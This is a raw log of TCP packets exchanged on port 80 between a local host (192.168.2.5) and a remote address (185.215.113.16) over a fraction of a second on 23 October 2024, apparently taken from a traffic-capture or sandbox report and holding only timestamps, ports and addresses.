Oct 23, 2024 15:49:23.380875111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.380888939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.380901098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.380927086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.380939960 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.380964994 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.380989075 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.381000042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.381021023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.381036997 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.381046057 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.381073952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.381086111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.381117105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403461933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403508902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403522968 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403539896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403557062 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403573036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403592110 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403630018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403662920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403678894 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403695107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403711081 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403731108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403747082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403750896 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403776884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403814077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403820992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403862953 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.403955936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403973103 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.403989077 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404006958 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404009104 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404026985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404027939 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404042959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404088974 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404093981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404118061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404133081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404134989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404149055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404175997 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404201031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404325008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404340982 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404356956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404382944 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404397964 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404418945 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404427052 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404439926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404455900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404548883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404563904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404572010 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404581070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404596090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404609919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404624939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404628038 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404633045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404656887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404665947 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.404685974 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.404720068 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.405080080 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.405102968 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.405117989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.405132055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.405138016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.405148029 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.405163050 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.405200005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.426722050 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.426743031 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.426769972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.426783085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.426815987 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.426847935 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.427218914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.427257061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.427272081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.427278996 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.427325964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.427336931 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.427352905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.427369118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.427380085 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.427414894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473058939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473100901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473140001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473186970 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473193884 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473227978 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473261118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473300934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473354101 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473373890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473373890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473373890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473373890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473387003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473409891 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473422050 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473428965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473459959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473469973 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473500013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473511934 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473546028 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473552942 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473603964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473604918 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473638058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473670959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473670959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473681927 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473709106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473720074 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473743916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473757982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473777056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473790884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473814011 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.473824978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.473860025 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.499628067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.499696970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.499728918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.499747038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.499759912 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.499783039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.499800920 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.499816895 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.499833107 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.499852896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.499861956 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.499922991 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522272110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522339106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522392988 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522396088 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522423983 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522428036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522454023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522460938 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522481918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522500992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522506952 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522537947 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522552967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522577047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522593021 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522633076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522634029 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522686005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522690058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522715092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522742033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522752047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522763968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522789955 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522810936 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522835970 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522842884 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522876024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522891045 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522908926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522922039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522948027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.522978067 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.522989035 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523010969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523025990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523040056 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523081064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523082018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523133993 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523134947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523168087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523188114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523196936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523225069 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523231983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523252964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523281097 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523288965 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523344040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523350954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523386955 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523401976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523422956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523433924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523458004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523468971 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523494005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523504019 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523540020 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523556948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523602962 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523611069 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523646116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523658991 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523679018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523691893 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523715973 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523725986 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523761034 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523766994 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523801088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523813009 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523833036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523848057 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523883104 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523899078 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523916960 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523930073 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523950100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523961067 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.523986101 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.523994923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524024963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524033070 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524059057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524072886 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524091959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524105072 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524126053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524138927 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524163008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524171114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524209976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524214983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524247885 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524271965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524281979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524306059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524318933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.524332047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.524425030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546139002 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546195984 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546231031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546245098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546267033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546278954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546310902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546310902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546343088 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546345949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546365023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546385050 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546400070 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546418905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546437979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546451092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.546469927 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.546514988 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592293024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592361927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592416048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592428923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592448950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592462063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592485905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592485905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592508078 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592530012 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592538118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592571974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592592001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592606068 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592614889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592643023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592654943 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592678070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592689991 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592710972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592725039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592746019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592756987 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592778921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592789888 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592813015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592824936 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592847109 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592865944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592884064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592894077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592917919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592950106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.592971087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.592983961 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.593007088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.593014956 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.593039989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.593051910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.593076944 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.593086004 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.593122959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.618279934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.618316889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.618356943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.618367910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.618413925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.618413925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.618449926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.618485928 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.618494034 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.618530035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641083002 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641166925 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641180038 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641207933 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641212940 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641251087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641252995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641289949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641304016 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641335964 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641346931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641374111 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641377926 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641415119 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641419888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641458988 CEST	49990	80	192.168.2.5	185.215.113.16
